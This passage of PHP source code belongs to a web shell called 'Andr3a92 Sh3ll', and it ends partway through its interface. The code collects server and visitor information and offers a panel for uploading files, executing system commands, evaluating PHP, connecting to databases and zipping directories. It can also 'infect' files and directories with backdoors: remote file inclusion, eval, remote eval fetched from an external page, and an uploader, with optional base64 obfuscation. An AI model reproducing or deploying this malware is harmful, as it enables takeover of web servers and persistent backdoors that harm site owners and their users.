$dtime = dechex(unix2DosTime($time));
$hexdtime = '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$c_len = strlen($zdata);
$fr = "\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00".$hexdtime.pack('V', $crc).pack('V', $c_len).pack('V', $unc_len).pack('v', strlen($name)).pack('v', 0).$name.$zdata.pack('V', $crc).pack('V', $c_len).pack('V', $unc_len);
$datasec[] = $fr;
$new_offset = strlen(implode('', $datasec));
$cdrec = "\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00".$hexdtime.pack('V', $crc).pack('V', $c_len).pack('V', $unc_len).pack('v', strlen($name) ).pack('v', 0 ).pack('v', 0 ).pack('v', 0 ).pack('v', 0 ).pack('V', 32 ).pack('V', $old_offset );
$old_offset = $new_offset;
$cdrec .= $name;
$ctrl_dir[] = $cdrec;
}
/* gen file contents*/
function gen_file(){
global $eof_ctrl_dir;
global $datasec;
global $ctrl_dir;
$data = implode('', $datasec);
$ctrldir = implode('', $ctrl_dir);
return $data . $ctrldir . $eof_ctrl_dir . pack('v', sizeof($ctrl_dir)) . pack('v', sizeof($ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
}
/* add a file */
function addFile($file) {
if (file_exists($file)) add_File(implode('',file($file)),$file);
else zip_error($file,1);
}
/* add dir */
function addDir($dira,$path = -1) {
if (file_exists($dira)) {
if ($path == -1) $path = $dira;
$dir_ = opendir($dira);
if(readdir($dir_)){
while ($file = readdir($dir_)) {
add_File(implode('',file($dira."/".$file)),$path."/".$file);
}
}
}
else zip_error($dira,2);
}
/* add all file in a dir*/
function PackDir($dira = ''){
$current_dir = getcwd();
if($dira != '') chdir($dira);
$row = array();
foreach(glob("*") as $file){
$row[] = $file;
}
chdir($current_dir);
for($a = 0; $a < count($row); $a++){
if($row[$a] != "." && $row[$a] != ".."){
if($dira != ''){
if(is_dir($dira."/".$row[$a])) PackDir($dira."/".$row[$a]);
else addFile($dira."/".$row[$a]);
}
else{
if(is_dir($row[$a])) PackDir($row[$a]);
else addFile($row[$a]);
}
}
}
}
/* create archive */
$name_zip = "";
function create_zip($file,$dir_zip = '') {
global $zip_error;
global $name_zip;
PackDir($dir_zip);
$file = gen_filename($file);
$name_zip = $file;
$fp = fopen($file,'a+');
fwrite($fp,gen_file());
fclose($fp);
if($zip_error[0] != "") return false;
else return true;
}
/* errors of zip */
function zip_error($name,$type){
global $zip_error;
if($type == 1) $type = "file";
elseif($type == 2) $type = "directory";
$zip_error[] = "Error adding ".$type." ".$name;
}
// All Informations:
/*ip address*/
$ip = $_SERVER['REMOTE_ADDR'];
/*site referer*/
$referer = $_SERVER['HTTP_REFERER'];
if($referer == "") $referer = "null";
/*shell location*/
$shell_location = getcwd();
/*ip of server*/
$server_ip = $_SERVER['SERVER_ADDR'];
/*useragent*/
$useragent = htmlspecialchars($_SERVER["HTTP_USER_AGENT"]);
/*server software*/
$server_software = $_SERVER['SERVER_SOFTWARE'];
/*uname*/
$uname = php_uname();
/*document root*/
$doc_root = $_SERVER['DOCUMENT_ROOT'];
/*magic_quotes_gpc*/
if(ini_get("magic_quotes_gpc") != 0) $magic_quotes_gpc = "<font color=\"green\">On</font>";
elseif(ini_get("magic_quotes_gpc") == 0)$magic_quotes_gpc = "<font color=\"red\">Off</font>";
/*safe mode*/
if(ini_get("safe_mode") == 0)$safe_mode = "<font color=\"red\">Off</font>";
elseif(ini_get("safe_mode") != "0")$safe_mode = "<font color=\"green\">On</font>";
/*register globals*/
if(ini_get("register_globals") == "1")$registerglobals = "<font color=\"green\">On</font>";
elseif(ini_get("register_globals") != "1")$registerglobals = "<font color=\"red\">Off</font>";
/*Space free*/
$freespace = format_num(disk_free_space(getcwd()));
/*Total space*/
$totalspace = format_num(disk_total_space(getcwd()));
/* Used space */
$usedspace = format_num(disk_total_space(getcwd()) - disk_free_space(getcwd()));
/* % free space */
$percentfreespace = format_num_((disk_free_space(getcwd()) * 100) / disk_total_space(getcwd()));
/* % used space */
$percentusedspace = 100 - $percentfreespace;
//GET vars
/*dir location*/
$dir = htmlspecialchars($_POST['dir']);
/*dir actions*/
$dirdelete = htmlspecialchars($_POST['dirdelete']);
$dirrename = htmlspecialchars($_POST['dirrename']);
/*file actions*/
$filedelete = htmlspecialchars($_POST['filedelete']);
$fileopen = htmlspecialchars($_POST['fileopen']);
$fileedit = htmlspecialchars($_POST['fileedit']);
$filerename = htmlspecialchars($_POST['filerename']);
$filecopy = htmlspecialchars($_POST['filecopy']);
$infectfile = htmlspecialchars($_POST['infectfile']);
$infectdir = htmlspecialchars($_POST['infectdir']);
/*Actions*/
$action = htmlspecialchars($_POST['action']);
/* chmod var */
$chmod = htmlspecialchars($_POST['chmod']);
if($dir != ""){
if($strip_all) $dir = stripslashes($dir);
chdir($dir);
$dir = getcwd();
}
else $dir = getcwd();
if(is_file($shell_location."/".md5('andr3a92'))) $lk = "unlock";
else $lk = "lock";
echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">
<tr><td bgcolor=\"black\"><center><table id=\"querymenu\"><tr><td><center><font size=\"3\" color=\"#00ff00\">Andr3a92 Sh3ll ~ Info</font></center></td><td width=\"16\"><form action=\"\" method=\"POST\" name=\"lockactions\">
<input type=\"hidden\" name=\"lockaction\" value=\"".$lk."\"><a href=\"#\" onclick=\"document.lockactions.submit()\"><img src=\"".$shell."?img=".$lk."\" border=\"0\" title=\"".$lk."\"></a></form></td>";
if($lk == "unlock") echo "<td width=\"16\"><form action=\"\" method=\"POST\" name=\"logout\"><input type=\"hidden\" name=\"logout\" value=\"1\"><a href=\"#\" onclick=\"document.logout.submit()\"><img src=\"".$shell."?img=logout\" border=\"0\" title=\"Logout\"></a></form></td>";
echo "</tr></table></center></td></tr></table><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">
<tr><td bgcolor=\"#CCCCCC\"><center><font color=\"red\">Server Info</font></center></td></tr>
<tr><td bgcolor=\"#CCCCCC\">
Server ip: ".$server_ip."<br>
Server software: ".$server_software."<br>
Uname -a: ".$uname."<br>
Total space: ".$totalspace."<br>
Used space: ".$usedspace." [ ".$percentusedspace."% ]<br>
Free space: ".$freespace." [ ".$percentfreespace."% ]<br>
</td></tr><tr><td bgcolor=\"#CCCCCC\"><center><font color=\"red\">Your Info</font></center></td></tr>
<tr><td bgcolor=\"#CCCCCC\">
Your ip: ".$ip."<br>
Useragent: ".$useragent."<br>
</td></tr><tr><td bgcolor=\"#CCCCCC\"><center><font color=\"red\">Generic Info</font></center></td></tr>
<tr><td bgcolor=\"#CCCCCC\">
Site referer: ".$referer."<br>
Current dir: ".$dir."<br>
Shell location: ".$shell_location."<br>
Document root: ".$doc_root."<br>
Shell name: ".$shell."<br>
Safe mode: ".$safe_mode."<br>
Register Globals: ".$registerglobals."<br>
Magic Quotes: ".$magic_quotes_gpc."</td></tr><tr><td bgcolor=\"#CCCCCC\"><center><font color=\"red\">Chdir</font></center></td></tr>";
if(strtolower(substr(PHP_OS,0,3)) == "win"){
echo "<tr><td bgcolor=\"#CCCCCC\"><table id=\"drives\"><tr>";
foreach(range("A","Z") as $letter){
if($letter == "A") echo '<td><form name="drive_A" action="'.$shell.'" method="POST"><input type="hidden" name="dir" value="'.("A:\\").'"><a href="#" onclick="go()">[ A ]</a></form></td>';
else{
if(is_dir($letter.":\\")) echo '<td><form name="drive_'.$letter.'" action="'.$shell.'" method="POST"><input type="hidden" name="dir" value="'.($letter.":\\").'"><a href="#" onclick="document.drive_'.$letter.'.submit()">[ '.$letter.' ]</a></form></td>';
}
}
echo "</tr></table></td></tr>";
}
echo "<tr><td bgcolor=\"#CCCCCC\"><form action=\"\" method=\"POST\" name=\"ChDir\"> Dir path: <input type=\"text\" size=\"30\" name=\"dir\" value=\"".getcwd()."\"> <input type=\"submit\" value=\"Chdir\"></form></td></tr></table><br>
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">
<tr><td bgcolor=\"black\"><center><font size=\"3\" color=\"#00ff00\">Andr3a92 Sh3ll ~ Tools</font></center></td></tr>
</table><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>
<td bgcolor=\"#CCCCCC\"><center><form action=\"".$shell."\" method=\"POST\" name=\"action0\"><input type=\"hidden\" name=\"action\" value=\"upload\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><a href=\"#\" onclick=\"document.action0.submit()\">Upload a file</a></center></form></td>
<td bgcolor=\"#CCCCCC\"><center><form action=\"".$shell."\" method=\"POST\" name=\"action1\"><input type=\"hidden\" name=\"action\" value=\"md\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><a href=\"#\" onclick=\"document.action1.submit()\">Make a directory</a></center></form></td>
<td bgcolor=\"#CCCCCC\"><center><form action=\"".$shell."\" method=\"POST\" name=\"action2\"><input type=\"hidden\" name=\"action\" value=\"exe\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><a href=\"#\" onclick=\"document.action2.submit()\">Execute a command</a></center></form></td>
<td bgcolor=\"#CCCCCC\"><center><form action=\"".$shell."\" method=\"POST\" name=\"action3\"><input type=\"hidden\" name=\"action\" value=\"mf\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><a href=\"#\" onclick=\"document.action3.submit()\">Make a file</a></center></form></td>
<td bgcolor=\"#CCCCCC\"><center><form action=\"".$shell."\" method=\"POST\" name=\"action4\"><input type=\"hidden\" name=\"action\" value=\"connect\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><a href=\"#\" onclick=\"document.action4.submit()\">Connect to database</a></center></form></td>
<td bgcolor=\"#CCCCCC\"><center><form action=\"".$shell."\" method=\"POST\" name=\"action5\"><input type=\"hidden\" name=\"action\" value=\"eval\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><a href=\"#\" onclick=\"document.action5.submit()\">Eval PHP code</a></center></form></td></tr><tr>
<td bgcolor=\"#CCCCCC\"><center><form action=\"".$shell."\" method=\"POST\" name=\"action6\"><input type=\"hidden\" name=\"action\" value=\"infectfile\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><a href=\"#\" onclick=\"document.action6.submit()\">Infect a file</a></center></form></td>
<td bgcolor=\"#CCCCCC\"><center><form action=\"".$shell."\" method=\"POST\" name=\"action7\"><input type=\"hidden\" name=\"action\" value=\"infectdir\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><a href=\"#\" onclick=\"document.action7.submit()\">Infect directory</a></center></form></td>
<td bgcolor=\"#CCCCCC\"><center><form action=\"".$shell."\" method=\"POST\" name=\"action8\"><input type=\"hidden\" name=\"phpinfo\" value=\"view\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><a href=\"#\" onclick=\"document.action8.submit()\">View PHP Info</a></center></form></td>
<td bgcolor=\"#CCCCCC\"><center><form action=\"".$shell."\" method=\"POST\" name=\"action9\"><input type=\"hidden\" name=\"action\" value=\"zip\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><a href=\"#\" onclick=\"document.action9.submit()\">Zip this dir</a></center></form></td>
<td bgcolor=\"#CCCCCC\"><center><form action=\"".$shell."\" method=\"POST\" name=\"action10\"><input type=\"hidden\" name=\"action\" value=\"unistall\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><a href=\"#\" onclick=\"document.action10.submit()\">Unistall</a></center></form></td>
<td bgcolor=\"#CCCCCC\"><center><form action=\"".$shell."\" method=\"POST\" name=\"action11\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><a href=\"#\" onclick=\"document.action11.submit()\">X</a></center></form></td>
</tr></table><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">";
//To upload a file
if($action == "upload"){
echo "<tr><td bgcolor=\"#CCCCCC\"><center>
<form enctype=\"multipart/form-data\" method=\"POST\" action=\"\">
<br><b>File:</b> <input type=\"hidden\" name=\"action\" value=\"upload\">
<input type=\"file\" name=\"file\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\">
<input type=\"submit\" value=\"Upload\" name=\"upload\">
</form>";
if(!isset($_POST['upload'])) echo "</center></td></tr>";
elseif(isset($_POST['upload'])){
$temporaney = $_FILES['file']['tmp_name'];
$upload = $_FILES['file']['name'];
if(move_uploaded_file($temporaney,$upload)) echo "<font color=\"green\">File uploaded Succesfull</font>";
else echo "<font color=\"red\">Error!<br>The file was not uploaded!</font>";
echo "<br> </center></td></tr>";
}
}
elseif($action == "unistall"){
if(!isset($_POST['confirm'])){
echo "<form action=\"\" method=\"POST\" name=\"confirm\"><input type=\"hidden\" name=\"action\" value=\"unistall\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\"><input type=\"hidden\" name=\"confirm\" value=\"ok\"></form>
<script language=\"javascript\">
var answer = confirm (\"Are you sure to delete this shell?\")
if(answer) document.confirm.submit()
</script>";
}
else{
$s = basename($shell);
// if(unlink($s)) echo "<tr><td bgcolor=\"#CCCCCC\"><center><br>Good bye! Thank's for use this shell!<br> </center></tr>";
// else echo "<tr><td bgcolor=\"#CCCCCC\"><center><br>Cannot delete this shell!<br> </center></tr>";
}
}
// To infect a file
elseif($action == "infectfile"){
if(!isset($_POST['infect'])){
echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">
<tr><td bgcolor=\"black\"><center><font size=\"3\" color=\"#00ff00\">Andr3a92 Sh3ll ~ Infect File</font></center></td></tr></table>
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">
<tr><td bgcolor=\"#CCCCCC\"><br><center><form action=\"\" method=\"POST\"><input type=\"hidden\" name=\"action\" value=\"infectfile\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\">File name:<br><input type=\"text\" name=\"filename\"><br><br>
Infection type:<br> <select name=\"mode\" "?>onChange='if(this.options[1].selected) document.getElementById("div").innerHTML="Eval: execution of php code.<br>Usage: infectedpage.php<font color=\"red\">?eval=[EVIL CODE]</font><br>Important: the code cannot have the php open and close tag!";
else if(this.options[2].selected) document.getElementById("div").innerHTML="Remote eval: execution of php code located on a external page.<br>Usage: infectedpage.php<font color=\"red\">?remoteeval=[LINK CODE]</font><br>Important: the code in the external page cannot have the php open and close tag!";
else if(this.options[3].selected) document.getElementById("div").innerHTML="Uploader: upload a file.<br>Usage: infectedpage.php<font color=\"red\">?upload=ok</font>";
else document.getElementById("div").innerHTML="RFI: remote file inclusion.<br>Usage: infectedpage.php<font color=\"red\">?rfi=[LINK SHELL]</font>"; ';
<?php echo "><option value=\"rfi\">RFI</option><option value=\"eval\">Eval</option><option value=\"eval_remote_file\">Remote eval</option>
<option value=\"uploader\">Uploader</option></select><br><br>Base64 crypt: <input type=\"checkbox\" name=\"base64\"><br><br><div id=\"div\">RFI: remote file inclusion.<br>Usage: infectedpage.php<font color=\"red\">?rfi=[LINK SHELL]</font></div>
<br><br><input type=\"submit\" value=\"Infect\" name=\"infect\"></form></center></td></tr></table>";
}
else{
echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">
<tr><td bgcolor=\"black\"><center><font size=\"3\" color=\"#00ff00\">Andr3a92 Sh3ll ~ Infect File</font></center></td></tr></table>
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">
<tr><td bgcolor=\"#CCCCCC\"><br><center>";
if($_POST['base64'] != ""){
$safe = 1;
$buse = "yes";
}
else{
$safe = 0;
$buse = "no";
}
if(infect_file($_POST['filename'],$_POST['mode'],$safe)) echo '<font color="green">File '.htmlspecialchars($_POST['filename']).' infected with '.htmlspecialchars($_POST['mode']).', using base64: '.$buse.'!</font>';
else '<font color="red">Error! This file cannot be infected!</font>';
echo "<br> </center></td></tr></table>";
}
echo '<br>';
}
//to infect a dir
if($action == "infectdir"){
if(!isset($_POST['infect'])){
echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">
<tr><td bgcolor=\"black\"><center><font size=\"3\" color=\"#00ff00\">Andr3a92 Sh3ll ~ Infect Files</font></center></td></tr></table>
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">
<tr><td bgcolor=\"#CCCCCC\"><br><center><form action=\"\" method=\"POST\"><input type=\"hidden\" name=\"action\" value=\"infectdir\"><input type=\"hidden\" name=\"dir\" value=\"".$dir."\">Dir name (Leave blank if you want to infect current dir):<br><input type=\"text\" name=\"dirname\"><br><br>
Infection type:<br> <select name=\"mode\" "?>onChange='if(this.options[1].selected) document.getElementById("div").innerHTML="Eval: execution of php code.<br>Usage: infectedpage.php<font color=\"red\">?eval=[EVIL CODE]</font><br>Important: the code cannot have the php open and close tag!";
else if(this.options[2].selected) document.getElementById("div").innerHTML="Remote eval: execution of php code located on a external page.<br>Usage: infectedpage.php<font color=\"red\">?remoteeval=[LINK CODE]</font><br>Important: the code in the external page cannot have the php open and close tag!";
else if(this.options[3].selected) document.getElementById("div").innerHTML="Uploader: upload a file.<br>Usage: infectedpage.php<font color=\"red\">?upload=ok</font>";
else document.getElementById("div").innerHTML="RFI: remote file inclusion.<br>Usage: infectedpage.php<font color=\"red\">?rfi=[LINK SHELL]</font>"; ';
<?php echo "><option value=\"rfi\">RFI</option><option value=\"eval\">Eval</option><option value=\"eval_remote_file\">Remote eval</option>
<option value=\"uploader\">Uploader</option></select><br><br>Base64 crypt: <input type=\"checkbox\" name=\"base64\"><br><br><div id=\"div\">RFI: remote file inclusion.<br>Usage: infectedpage.php<font color=\"red\">?rfi=[LINK SHELL]</font></div>
<br><br><input type=\"submit\" value=\"Infect\" name=\"infect\"></form></center></td></tr></table>";
}
else{
echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">